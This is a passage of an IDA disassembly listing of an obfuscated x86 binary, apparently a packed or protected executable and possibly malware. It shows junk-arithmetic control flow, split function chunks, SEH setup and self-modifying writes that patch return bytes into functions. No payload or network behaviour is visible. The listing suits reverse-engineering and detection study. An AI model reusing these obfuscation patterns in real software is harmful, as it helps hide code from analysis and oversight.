; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44045F

loc_4402F6:				; CODE XREF: sub_44045F:loc_43D87Bj
					; dviuq5id:0043D899j
		or	esi, 0FEB13B35h
		add	esi, 0F51D124Ah
		and	esi, 9988C4C0h
		add	esi, 70399094h
		mov	[esi], eax
		pop	esi
		lea	eax, sub_44D948
		mov	byte ptr [eax],	0C3h
		jmp	sub_44D948
; END OF FUNCTION CHUNK	FOR sub_44045F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_44031F:				; CODE XREF: sub_439C09+3F72j
					; sub_439C09:loc_43E479j
		push	79B8B4E4h
		pop	eax
		sub	eax, 0A9B2A679h
		or	eax, 9F63ED1h
		jnz	loc_448EC7
; END OF FUNCTION CHUNK	FOR sub_439C09
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_440337:				; CODE XREF: sub_43C4B5+1D74Bj
		jmp	loc_441D34
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455400

loc_44033C:				; CODE XREF: sub_455400:loc_451B9Aj
		jz	loc_4500C2
		jmp	loc_43A792
; END OF FUNCTION CHUNK	FOR sub_455400

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440347	proc near		; DATA XREF: sub_458192-16B86o

; FUNCTION CHUNK AT 00439FD3 SIZE 00000005 BYTES

		mov	ebp, esp
		jns	loc_439FD3
		call	sub_43F9E7
sub_440347	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_451E0A

loc_440354:				; CODE XREF: sub_451E0A+9j
		jmp	loc_45A0BA
; END OF FUNCTION CHUNK	FOR sub_451E0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_440359:				; CODE XREF: dviuq5id:00442D42j
					; sub_43938B:loc_45590Aj
		and	eax, 7B6741Fh
		sub	eax, 0D7958C64h
		xor	eax, 0CF696151h
		add	eax, ebp
		add	eax, 19080CEDh
		jmp	loc_456FB6
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440E9

loc_440378:				; CODE XREF: sub_4440E9+9D01j
		xchg	ebp, eax
		add	esi, 291BFA06h
		pop	edx
		cdq
		jmp	loc_44DD10
; END OF FUNCTION CHUNK	FOR sub_4440E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453548

loc_440387:				; CODE XREF: sub_453548:loc_44347Cj
		xor	eax, 6548752Ah
		call	sub_453642
		mov	ds:off_41D174, eax
		lea	eax, loc_44609C
		jmp	loc_447D5A
; END OF FUNCTION CHUNK	FOR sub_453548
; ---------------------------------------------------------------------------
		jnz	loc_43CAD6
		jns	loc_447E9A
		jmp	sub_455932
; ---------------------------------------------------------------------------

loc_4403B4:				; CODE XREF: dviuq5id:0043DE27j
		jo	loc_4480CD
		and	esi, 0A2A4DCB3h
		and	ebp, 0CB08FC5Dh
		jmp	loc_439420
; ---------------------------------------------------------------------------
		cdq
		add	ecx, 0C7030EB0h
		jmp	sub_450D5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45147D

loc_4403D7:				; CODE XREF: sub_45147D+686Bj
		xor	eax, ebx
		xchg	esi, [esp+0]
		mov	ebx, esi
		pop	esi
		push	edi
		jmp	loc_43E529
; END OF FUNCTION CHUNK	FOR sub_45147D

; =============== S U B	R O U T	I N E =======================================



sub_4403E5	proc near		; CODE XREF: dviuq5id:00439610j
					; sub_441CEF+Dp
		xchg	ecx, [esp+0]
		pop	ecx
		cmp	ds:dword_44778C, 0
		call	sub_4422AB

loc_4403F5:				; CODE XREF: sub_45509B+3j
		jmp	sub_450B01
sub_4403E5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4403FA:				; CODE XREF: dviuq5id:004427A9j
		jmp	loc_446D87
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BAB4

loc_440400:				; CODE XREF: sub_43BAB4+13EC4j
		jmp	nullsub_351
; END OF FUNCTION CHUNK	FOR sub_43BAB4

; =============== S U B	R O U T	I N E =======================================



sub_440405	proc near		; CODE XREF: dviuq5id:004426F8j
					; sub_43CB05+17F79p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043D96D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00454505 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457D0F SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	0

loc_44040B:				; CODE XREF: sub_442348+8j
		mov	edx, esp
		push	ecx
		mov	ecx, edi
		jmp	loc_457D0F
sub_440405	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44297E

loc_440416:				; CODE XREF: sub_44297E+8967j
		jnb	loc_45120D
; END OF FUNCTION CHUNK	FOR sub_44297E
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44041C:				; CODE XREF: sub_43FA59:loc_451CF4j
		lea	eax, [ebp-2BBh]
		cmp	dword ptr [eax], 4742444Fh
		jz	loc_452033
		jmp	loc_44DCB1
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
		test	al, al
		jz	nullsub_276
		jmp	loc_448AB5
; ---------------------------------------------------------------------------

loc_440440:				; CODE XREF: dviuq5id:00450729j
		cmp	eax, 9045717Ah
		jmp	loc_4501E9
; ---------------------------------------------------------------------------

loc_44044B:				; CODE XREF: dviuq5id:0044197Ej
		jnp	loc_44617C
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_440451:				; CODE XREF: sub_43C4B5:loc_449359j
		add	ebx, 1471B9F4h
		xchg	ebx, [esp+4+var_4]
		jmp	sub_44A58C
; END OF FUNCTION CHUNK	FOR sub_43C4B5

; =============== S U B	R O U T	I N E =======================================



sub_44045F	proc near		; DATA XREF: dviuq5id:00458CF0o

; FUNCTION CHUNK AT 0043D87B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004402F6 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0044590D SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		mov	esi, ecx
		pop	ecx
		add	esi, 0D31CE62Bh
		test	esi, 100h
		jmp	loc_44590D
sub_44045F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_440476:				; CODE XREF: dviuq5id:00441E18j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B558

loc_440477:				; CODE XREF: sub_44B558-4798j
		jg	loc_445F39

loc_44047D:				; CODE XREF: sub_44B558:loc_458646j
		push	offset sub_4440E9
		jmp	nullsub_371
; END OF FUNCTION CHUNK	FOR sub_44B558
; ---------------------------------------------------------------------------

loc_440487:				; CODE XREF: dviuq5id:0044575Bj
		adc	edi, 9CA13561h
		shl	eax, 15h
		jmp	loc_4431FA

; =============== S U B	R O U T	I N E =======================================



sub_440495	proc near		; CODE XREF: dviuq5id:00444DE0j
					; dviuq5id:00445B66p

arg_4		= dword	ptr  8

		xchg	esi, [esp+0]
		pop	esi
		pop	ecx
		xchg	edx, [esp-8+arg_4]
		mov	ebp, edx
		jmp	loc_4510CF
sub_440495	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4404A4:				; CODE XREF: dviuq5id:0044B601j
		xor	eax, edi

; =============== S U B	R O U T	I N E =======================================



sub_4404A6	proc near		; CODE XREF: sub_446682+F7E7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043B111 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B81E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444891 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00448A10 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00452F7A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00453827 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004538F6 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00456338 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458220 SIZE 0000000E BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_43B81E
		jmp	loc_456338
sub_4404A6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439CB7

loc_4404B9:				; CODE XREF: sub_439CB7+7CD8j
		jge	loc_452D60
		or	edi, 9568BA64h
		jmp	loc_452D5D
; END OF FUNCTION CHUNK	FOR sub_439CB7
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_453074
		jmp	loc_455995

; =============== S U B	R O U T	I N E =======================================



sub_4404D7	proc near		; CODE XREF: dviuq5id:0044BBCBj
					; sub_45381C+6p

; FUNCTION CHUNK AT 0044B8F9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454564 SIZE 00000025 BYTES

		xchg	edx, [esp+0]
		pop	edx
		shl	eax, cl
		mov	edx, [ebp-20h]
		shr	edx, 3
		push	3E3EB66Ah
		pop	ecx
		jmp	loc_454564
sub_4404D7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4404EE:				; CODE XREF: dviuq5id:loc_4566D3j
					; dviuq5id:004566E5j
		add	edi, 0FFB6109Ch
		mov	[edi], eax
		pop	edi
		lea	eax, nullsub_101
		mov	byte ptr [eax],	0C3h
		jmp	loc_44787D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_440505:				; CODE XREF: sub_446181:loc_443755j
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_4510C6
		jmp	loc_44E8E7
; END OF FUNCTION CHUNK	FOR sub_446181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422EC

loc_440515:				; CODE XREF: sub_4422EC+B2CAj
		pop	eax
		or	esi, 31244A13h
		sub	esi, 5D0BFCC4h

loc_440522:				; CODE XREF: dviuq5id:loc_44B7D3j
		and	esi, 9BDB3637h
		add	esi, 3332Bh
		xchg	esi, [esp+0]
		jmp	loc_4508D8
; END OF FUNCTION CHUNK	FOR sub_4422EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446544

loc_440536:				; CODE XREF: sub_446544-32E9j
		xchg	edi, [esp+0]
		mov	eax, edi
		pop	edi
		mov	eax, ds:dword_43EE34
		or	eax, eax
		jmp	loc_43CE58
; END OF FUNCTION CHUNK	FOR sub_446544
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EF1D

loc_440549:				; CODE XREF: sub_43EF1D-33D1j
		popf
		xchg	ebx, [esp+4+var_4]
		jmp	sub_43C4B5
; END OF FUNCTION CHUNK	FOR sub_43EF1D
; ---------------------------------------------------------------------------
		push	esi
		push	31B8690Eh
		pop	esi
		jmp	loc_450BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447ADF

loc_44055E:				; CODE XREF: sub_447ADF+223Ej
		jl	loc_4405BC
; END OF FUNCTION CHUNK	FOR sub_447ADF
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_440564:				; CODE XREF: sub_43CB4C+10253j
		jmp	sub_43938B
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445498

loc_440569:				; CODE XREF: sub_445498+1j
		jmp	loc_4493EE
; END OF FUNCTION CHUNK	FOR sub_445498
; ---------------------------------------------------------------------------
		and	eax, 0A5AAB8B4h
		add	ebp, edi

; =============== S U B	R O U T	I N E =======================================



sub_440576	proc near		; CODE XREF: sub_457E5Dj

; FUNCTION CHUNK AT 004405B8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044A066 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A462 SIZE 00000010 BYTES

		adc	ecx, ebp
		jmp	loc_4405B8
sub_440576	endp

; ---------------------------------------------------------------------------
		push	esi
		push	0E0AE837Dh
		pop	esi
		or	esi, 73B8412Ch
		add	esi, 0C830D93h
		mov	[esi], eax
		jmp	loc_44D92E
; ---------------------------------------------------------------------------

loc_440597:				; CODE XREF: dviuq5id:0043DD4Ej
		xor	esi, ebp

; =============== S U B	R O U T	I N E =======================================



sub_440599	proc near		; CODE XREF: sub_452A73+9p

; FUNCTION CHUNK AT 00439568 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D3D4 SIZE 00000011 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	[ebp-104h], eax
		call	sub_4535B0

loc_4405A8:				; CODE XREF: sub_43D181+96EFj
		jmp	loc_43D3D4
sub_440599	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_4405AD:				; CODE XREF: dviuq5id:loc_44229Bj
		test	eax, 1000h
		jmp	loc_44B39C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440576

loc_4405B8:				; CODE XREF: sub_458F2A:loc_43B697j
					; sub_440576+2j
		sub	edx, eax
		xchg	ecx, esi

loc_4405BC:				; CODE XREF: sub_447ADF:loc_44055Ej
		or	esi, 39246C59h
		add	esi, 8146E74h
		add	esi, ebp
		add	esi, 3A2C1507h
		jmp	loc_44A066
; END OF FUNCTION CHUNK	FOR sub_440576
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_4405D5:				; CODE XREF: sub_446682:loc_4401A2j
		add	eax, 0D7E6DD7Bh
		and	eax, ds:4000F1h
		add	eax, 18A83A75h
		sub	eax, 0D3A9AF94h
		jmp	loc_456387
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_4405F2:				; CODE XREF: sub_43FDFB+3FB6j
		add	esi, edx
		ror	edi, 13h
		jmp	loc_4488B4
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------

loc_4405FC:				; CODE XREF: dviuq5id:004597B4j
		jns	loc_4567D1
		test	ebx, 1026E684h
		jmp	loc_44C9B5
; ---------------------------------------------------------------------------
		mov	eax, 0BC7399C0h
		push	eax
		push	0F0756D95h
		pop	eax
		or	eax, 7F65302Fh
		add	eax, 0CE9AA4h
		jmp	loc_449E27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445437

loc_44062A:				; CODE XREF: sub_445437:loc_44A2C7j
		add	ecx, 1FCC0C9Fh
		xchg	ecx, [esp+0]
		jmp	loc_44D77E
; END OF FUNCTION CHUNK	FOR sub_445437

; =============== S U B	R O U T	I N E =======================================



sub_440638	proc near		; CODE XREF: dviuq5id:loc_44F1E8j
					; DATA XREF: dviuq5id:loc_44F1DEo

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004422A6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443ABC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453635 SIZE 0000000D BYTES

		or	ebx, 0C0E3B2F9h
		sbb	eax, edx
		shr	eax, 16h
		and	edx, ecx
		add	edx, 0FC9D3CE1h
		sub	ebx, 0C40BCBC5h
		pop	ebx
		pop	edx
		jmp	loc_443ABC
sub_440638	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442913

loc_440658:				; CODE XREF: sub_442913+10j
		jl	loc_44A3FE
		cmp	eax, 0C6A92476h
		jmp	loc_4489F9
; END OF FUNCTION CHUNK	FOR sub_442913
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA0E

loc_440669:				; CODE XREF: sub_43BA0E+12EB9j
		call	sub_44E1C0
		mov	eax, 5BE2C7B9h
		push	esi
		push	0CA966313h
		pop	esi
		jmp	loc_45091B
; END OF FUNCTION CHUNK	FOR sub_43BA0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454142

loc_44067F:				; CODE XREF: sub_454142-2ED4j
		sub	ebx, 0F250EFF3h
		or	ebp, eax

loc_440687:				; CODE XREF: sub_454142:loc_45339Dj
		add	eax, 686A9991h
		add	eax, ebp
		push	ebx
		jmp	loc_44B079
; END OF FUNCTION CHUNK	FOR sub_454142
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C710

loc_440695:				; CODE XREF: sub_43C710:loc_441150j
		or	edi, 0AC20EA76h
		add	edi, 4362B50Bh
		call	sub_43D89E
; END OF FUNCTION CHUNK	FOR sub_43C710
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_4406A6:				; CODE XREF: sub_43FA59+C771j
		or	ebp, 8F8AC77Ch
; END OF FUNCTION CHUNK	FOR sub_43FA59

; =============== S U B	R O U T	I N E =======================================



sub_4406AC	proc near		; CODE XREF: dviuq5id:loc_443CF4p
		xchg	esi, [esp+0]
		pop	esi
		mov	esi, eax
		jmp	loc_448C56
sub_4406AC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BDC3

loc_4406B7:				; CODE XREF: sub_43BDC3+Cj
		jz	loc_4446A0
; END OF FUNCTION CHUNK	FOR sub_43BDC3
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_4406BD:				; CODE XREF: sub_43FA59:loc_43F6E2j
		jmp	loc_457492
; END OF FUNCTION CHUNK	FOR sub_43FA59
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4543D3

loc_4406C3:				; CODE XREF: sub_4543D3+7j
		jmp	loc_453168
; END OF FUNCTION CHUNK	FOR sub_4543D3
; ---------------------------------------------------------------------------

loc_4406C8:				; CODE XREF: dviuq5id:00440EE6j
		jmp	loc_456818

; =============== S U B	R O U T	I N E =======================================



sub_4406CD	proc near		; CODE XREF: sub_450DC5p
		push	large dword ptr	fs:0
		call	sub_445121
sub_4406CD	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43C46D

loc_4406D9:				; CODE XREF: sub_43C46D+1D9ABj
		jmp	loc_43A05B
; END OF FUNCTION CHUNK	FOR sub_43C46D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44952D

loc_4406DE:				; CODE XREF: sub_44952D:loc_440BAEj
		jz	loc_43FE9D
		jmp	loc_440DD9
; END OF FUNCTION CHUNK	FOR sub_44952D

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4406E9	proc near		; DATA XREF: sub_453749:loc_444B07o

; FUNCTION CHUNK AT 00455639 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_44DEF0
		push	offset loc_4451B9
		jmp	loc_455639
sub_4406E9	endp

; ---------------------------------------------------------------------------

loc_440700:				; CODE XREF: dviuq5id:0043F76Aj
		call	sub_44C6ED
		push	offset loc_43BC40
		jmp	loc_44E87A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449B7F

loc_44070F:				; CODE XREF: sub_449B7F:loc_456474j
		pop	esi
		rol	esi, 5
		sub	esi, 0B2E67C12h
		add	esi, 7F360588h
		call	sub_43CB05

loc_440724:				; CODE XREF: sub_445F35+D73Dj
		jmp	loc_4508A1
; END OF FUNCTION CHUNK	FOR sub_449B7F

; =============== S U B	R O U T	I N E =======================================



sub_440729	proc near		; CODE XREF: sub_43A813:loc_43E162p
					; dviuq5id:0043FF49j

; FUNCTION CHUNK AT 00439360 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004421F7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E986 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00457359 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	al, [eax]
		jz	loc_439360
		jmp	loc_4421F7
sub_440729	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	ebp, 8B222DF2h
		jmp	loc_44E679
; ---------------------------------------------------------------------------

loc_440745:				; CODE XREF: dviuq5id:0045388Dj
		jl	loc_43DE23

; =============== S U B	R O U T	I N E =======================================



sub_44074B	proc near		; CODE XREF: sub_440C61+7034p

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		add	ecx, 0BFD7DC83h
		mov	[ecx], eax
		xchg	ebp, [esp-4+arg_0]

loc_44075A:				; CODE XREF: dviuq5id:loc_45344Ej
		call	sub_450981
		ror	edi, 12h
		jmp	sub_44E657
sub_44074B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	ecx, 86B801DAh
		jmp	sub_440CB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446544

loc_440772:				; CODE XREF: sub_446544+AE57j
		and	edx, 6570F2C5h
		xor	edx, 0CFCD00D6h
		add	edx, 75A7F5B0h
		xchg	edx, [esp+0]
		jmp	loc_449049
; END OF FUNCTION CHUNK	FOR sub_446544
; ---------------------------------------------------------------------------
		and	ebp, 0B3D52601h
		jmp	sub_43DD79
; ---------------------------------------------------------------------------

loc_440797:				; CODE XREF: dviuq5id:00450787j
		not	esi

loc_440799:				; CODE XREF: dviuq5id:loc_450770j
		and	edx, 5B430B0Eh
		push	offset sub_43F04C
		jmp	loc_4452DD
; ---------------------------------------------------------------------------

loc_4407A9:				; CODE XREF: dviuq5id:0043D6DBj
		and	edi, 1A16DCB0h
		jns	loc_439377
; START	OF FUNCTION CHUNK FOR sub_457E37

loc_4407B5:				; CODE XREF: sub_457E37+8j
		jmp	nullsub_304
; END OF FUNCTION CHUNK	FOR sub_457E37
; ---------------------------------------------------------------------------

loc_4407BA:				; CODE XREF: dviuq5id:00451F99j
		jmp	locret_44E485
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_4407BF:				; CODE XREF: sub_44E1C0-120C4j
		jmp	loc_43DBBB
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------
		rol	ebp, 16h
		push	0DD6F7BF5h
		jmp	loc_454BD9
; ---------------------------------------------------------------------------
		jns	loc_450FCF
		jmp	loc_44E01C
; ---------------------------------------------------------------------------

loc_4407DC:				; CODE XREF: dviuq5id:00446CC2j
		push	ebx
		rol	ebx, 13h
		mov	esi, edx

loc_4407E2:				; CODE XREF: dviuq5id:00446CAEj
		and	eax, 0CE6C4BEAh
		jmp	loc_440A2C
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458B23

loc_4407EE:				; CODE XREF: sub_458B23-E2Aj
		jmp	loc_454045
; END OF FUNCTION CHUNK	FOR sub_458B23
; ---------------------------------------------------------------------------
		db 0E6h
dword_4407F4	dd 0			; DATA XREF: dviuq5id:loc_448C83r
					; dviuq5id:00454371r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445707

loc_4407F8:				; CODE XREF: sub_445707-33EDj
		jmp	loc_44324D
; END OF FUNCTION CHUNK	FOR sub_445707
; ---------------------------------------------------------------------------

loc_4407FD:				; CODE XREF: dviuq5id:0043DBB6j
		jmp	locret_44C141
; ---------------------------------------------------------------------------

loc_440802:				; DATA XREF: sub_4486F9-C7A4o
					; sub_4565C2o
		and	dword ptr ds:0C52950A9h, 361B46h
		push	ebp
		mov	ebp, esp
; START	OF FUNCTION CHUNK FOR sub_43C9A9

loc_44080F:				; CODE XREF: sub_43C9A9:loc_457A2Cj
		jmp	loc_455A12
; END OF FUNCTION CHUNK	FOR sub_43C9A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448800

loc_440814:				; CODE XREF: sub_448800-B044j
		and	esi, ds:4000F2h
		add	esi, 0FF25852Ch
		sub	eax, esi
		pop	esi
		jmp	loc_452199
; END OF FUNCTION CHUNK	FOR sub_448800

; =============== S U B	R O U T	I N E =======================================



sub_440828	proc near		; DATA XREF: sub_43B7FB+1o

; FUNCTION CHUNK AT 00445568 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044868B SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044D0EA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044D4E7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E99B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456BF3 SIZE 00000021 BYTES

		jz	loc_44D0EA
		mov	eax, [esp+0]

loc_440831:				; CODE XREF: dviuq5id:loc_44653Bj
		push	offset loc_443CB4
		jmp	nullsub_476
sub_440828	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_44083B:				; CODE XREF: sub_440898:loc_44CF55j
		xor	ecx, esi
		cmp	ebp, edi
		jmp	loc_449601
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_440844:				; CODE XREF: sub_448FC7:loc_454A93j
		jz	loc_44EA91
		jmp	loc_43D951
; END OF FUNCTION CHUNK	FOR sub_448FC7

; =============== S U B	R O U T	I N E =======================================



sub_44084F	proc near		; CODE XREF: sub_451DAA-957Fp
					; dviuq5id:0045660Ej

arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 004399F2 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0043BA5B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C0AA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004413A8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441C7D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00447942 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447CBF SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00447E07 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044ACBB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044CD69 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044D7DC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450B96 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00450C9F SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00452452 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454064 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00454F0C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00455E57 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0045758F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004578B2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00458A8D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00458FA0 SIZE 00000007 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	[ebp-10h], eax
		mov	eax, [ebp+8]
		mov	eax, [eax-10h]
		jmp	loc_447942
sub_44084F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_440861	proc near		; DATA XREF: sub_43A919o
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF4h
		push	ebx
		push	8610EC9Eh
		jmp	loc_44E593
sub_440861	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455B54

loc_440875:				; CODE XREF: sub_455B54:loc_43E16Cj
		mov	edx, [edx]
		imul	byte ptr [edx]
		call	sub_43E095

loc_44087E:				; DATA XREF: sub_45383B-2D97o
		mov	eax, [eax]
		or	eax, eax
		jz	loc_4585EC
		jmp	loc_447790
; END OF FUNCTION CHUNK	FOR sub_455B54
; ---------------------------------------------------------------------------

loc_44088D:				; CODE XREF: dviuq5id:0045439Bj
		jnz	loc_45925D
		jmp	loc_4458A7

; =============== S U B	R O U T	I N E =======================================



sub_440898	proc near		; CODE XREF: dviuq5id:00446197j
					; sub_446004+778Ep

var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004394D7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043A0C2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A36E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043A632 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B22C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0043B9B5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C21E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C645 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043C8D8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CB28 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D911 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E608 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0043E6C6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043EE49 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FC4B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044083B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00441449 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0044166E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00441AE1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004423EC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443037 SIZE 00000019 BYTES
